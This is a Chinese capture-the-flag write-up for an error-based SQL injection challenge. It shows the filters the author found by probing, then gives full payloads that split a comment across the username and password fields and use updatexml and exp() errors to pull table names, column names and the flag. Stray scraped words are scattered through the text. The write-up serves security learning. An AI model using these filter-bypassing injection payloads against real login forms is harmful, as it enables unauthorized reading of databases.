實驗吧_加了料的報錯注入

頁面提示咱們POSTusername與password兩個參數,看了看源碼,裏面提示了咱們sql語句sql

$sql="select * from users where username='$username' and password='$password'";

先隨手post幾個數試試,發現頁面返回有四種形式,當輸入admin,admin時返回Login failed,當輸入admin',admin時發生報錯,當輸入admin' and '1'='1,admin時出現Sql injection detected,甚至輸入(),admin返回了User name unknow error.,這就代表服務器端對輸入字符進行了過濾,每當返回Sql injection detected就代表存在被過濾的字符或字符串。數據庫

首先手動測一下username過濾了些啥:‘=‘、‘;’、‘#’、‘,’、‘()’、‘-’、union,limit,substr,floor,mid我已經感受username涼了,()都給濾了還玩個毛線服務器

接着去看看password有沒有但願:‘=’、‘;’、‘#’、‘-’、union、limit、substr,mid,floor,ExtractValue,updatexmlpost

大佬還給我留了一個NAME_CONST,但=又被和諧了,這麼一來根本沒軟用,好一道勸退題啊學習

接下來確定又是學習沒見過的科技的時間了spa

看了p神的操做,首先是基本操做用or語句報錯整出了數據庫名:error_based_hpfcode

經過庫名的提示,這裏有個hpf,hpf全稱爲HTTP Parameter Fragment,sql注入裏有一種就叫http分割注入regexp

payload:orm

username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or 'xml

這裏username最後爲 /* 而password最前面爲*/  在拼接的時候就實現了/* */註釋功能

這一題的意思就是在username過濾(),password過濾報錯語句,所以咱們要在username處使用報錯語句,password處使用()

知道原理後開始操做:

知道了庫名以後接下來就是拿表,但因爲這裏和諧了limit,=與like,這裏須要用regexp來代替=

payload:

username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema regexp database()),0x7e),1) or '

爆字段:

payload:

username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or '

愉悅的去拿flag

payload:

username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT value FROM ffll44jj),0x7e),1) or '

雖然結果出來了,但想到前面p神還提到另外一種思路,因爲題目沒有過濾regexp,那麼這裏能夠直接在password處採用exp報錯

關於exp報錯這裏給出一個我所參考的連接:使用exp進行SQL報錯注入


以前已經知道了數據庫名,那麼咱們直接來報表名:

payload:

username=0&password=' or exp(~(select*from (select group_concat(table_name) from information_schema.tables where table_schema regexp database() )x)) or '1

 接着是列

payload:

username=0&password=' or exp(~(select*from (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' )x)) or '1

最後來dump數據:

payload:

username=0&password=' or exp(~(select*from (select value from ffll44jj )x)) or '1

相關文章
相關標籤/搜索